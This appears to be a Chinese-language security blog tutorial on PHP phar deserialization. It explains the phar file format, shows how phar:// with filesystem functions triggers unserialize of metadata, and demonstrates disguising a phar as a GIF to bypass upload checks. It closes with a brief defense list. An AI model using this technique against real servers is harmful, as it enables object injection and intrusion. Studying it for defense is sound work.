phar
phar扩展提供了一种将整个php应用程序放入名为“phar”(php archive)的单个文件中的方法,以便于分发和安装。除了提供这个服务之外,phar扩展还提供了一个文件格式抽象方法,用于通过phardata类创建和操作tar和zip文件,就像pdo为访问不同的数据库提供了一个统一的接口一样。与pdo不同,pdo不能在不同的数据库之间进行转换,phar还可以用一行代码在tar、zip和phar文件格式之间进行转换。
什么是Phar?phar归档是将多个文件组合成一个文件的一种方便方法。因此,phar归档提供了一种方法,可以在单个文件中分发完整的php应用程序,并从该文件运行它,而无需将其提取到磁盘。此外,phar档案可以像任何其他文件一样在命令行和web服务器上由php轻松执行。phar有点像php应用程序的拇指驱动器。
phar通过流包装器实现此功能。通常,要在php脚本中使用外部文件,可以使用include。
反序列化
通常,我们见到的反序列化都是通过将序列化后的字符串传入unserialize()函数中,进行反序列化执行代码。而phar拓展可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()
等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
关于流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
,zlib://
或php://
等。
例如:
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
phar拓展
所有Phar文件包含三到四个部分
Phar file stub
存根
最小的Phar file stub:<?php __HALT_COMPILER();
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。?>
可省略。
a manifest describing the contents
目录
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
the file contents
被压缩文件的内容。
[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,包含签名的phar总是在加载程序、清单和文件内容之后将签名附加到phar存档的末尾。此时支持的两种签名格式是md5和sha1。
测试
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly
选项设置为Off
,否则无法生成phar文件。
新建alex.php
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("alex.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
浏览器访问alex.php,自动在当前目录下生成phar.phar。
用winhex打开:
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
实例:
alex.php:
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o->name='alex';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("alex.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
phar1.php:
<?php
class TestObject{
function __destruct()
{
echo $this->name;
}
}
include('phar://phar.phar/alex.txt');
先生成phar.phar后,访问phar1.php得到:testalex
当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$o->name='alex';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("alex.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
采用这种方法可以绕过很大一部分上传检测。
实际利用
利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。利用方法
师傅说的很详细,我就不说了。。。
参考:漏洞验证
防御
- 在文件系统函数的参数可控时,对参数进行严格的过滤。
- 严格检查上传文件的内容,而不是只检查文件头。
- 在条件允许的情况下禁用可执行系统命令、代码的危险函数。